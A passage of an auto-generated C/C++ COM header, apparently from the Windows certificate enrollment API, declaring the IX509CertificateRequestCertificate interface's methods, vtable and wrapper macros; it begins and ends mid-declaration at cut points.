\n\n#define IX509CertificateRequestPkcs10V2_InitializeFromPublicKeyTemplate(This,Context,pPublicKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKeyTemplate(This,Context,pPublicKey,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V2_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509CertificateRequestPkcs10V2_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestPkcs10V2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCertificate_INTERFACE_DEFINED__\n#define __IX509CertificateRequestCertificate_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestCertificate */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestCertificate;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab343-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestCertificate : public IX509CertificateRequestPkcs10\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE CheckPublicKeySignature( \n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Issuer( \n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Issuer( \n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NotBefore( \n            /* [retval][out] */ __RPC__out DATE *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_NotBefore( \n            /* [in] */ DATE Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NotAfter( \n            /* [retval][out] */ __RPC__out DATE *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_NotAfter( \n            /* [in] */ DATE Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SerialNumber( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SerialNumber( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignerCertificate( \n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SignerCertificate( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestCertificateVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestCertificate * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestCertificate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestCertificate * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestCertificate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestCertificate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKey )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKey )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *IsSmartCard )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKey )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReuseKey )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Subject )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Subject )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatuses )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatuses )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckPublicKeySignature )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Issuer )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Issuer )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NotBefore )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NotBefore )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ DATE Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NotAfter )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NotAfter )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ DATE Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SerialNumber )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SerialNumber )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        END_INTERFACE\n    } IX509CertificateRequestCertificateVtbl;\n\n    interface IX509CertificateRequestCertificate\n    {\n        CONST_VTBL struct IX509CertificateRequestCertificateVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestCertificate_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestCertificate_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestCertificate_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestCertificate_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestCertificate_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestCertificate_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestCertificate_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestCertificate_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestCertificate_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestCertificate_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestCertificate_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCertificate_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestCertificate_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate_InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate_InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate_InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestCertificate_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestCertificate_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestCertificate_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> IsSmartCard(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_PublicKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKey(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_ReuseKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReuseKey(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_OldCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_Subject(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Subject(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_put_Subject(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Subject(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_CspStatuses(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatuses(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_SmimeCapabilities(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_SmimeCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SmimeCapabilities(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_KeyContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyContainerNamePrefix(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_KeyContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerNamePrefix(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate_GetCspStatuses(This,KeySpec,ppCspStatuses)\t\\\n    ( (This)->lpVtbl -> GetCspStatuses(This,KeySpec,ppCspStatuses) ) \n\n\n#define IX509CertificateRequestCertificate_CheckPublicKeySignature(This,pPublicKey)\t\\\n    ( (This)->lpVtbl -> CheckPublicKeySignature(This,pPublicKey) ) \n\n#define IX509CertificateRequestCertificate_get_Issuer(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Issuer(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_put_Issuer(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Issuer(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_NotBefore(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NotBefore(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_NotBefore(This,Value)\t\\\n    ( (This)->lpVtbl -> put_NotBefore(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_NotAfter(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NotAfter(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_NotAfter(This,Value)\t\\\n    ( (This)->lpVtbl -> 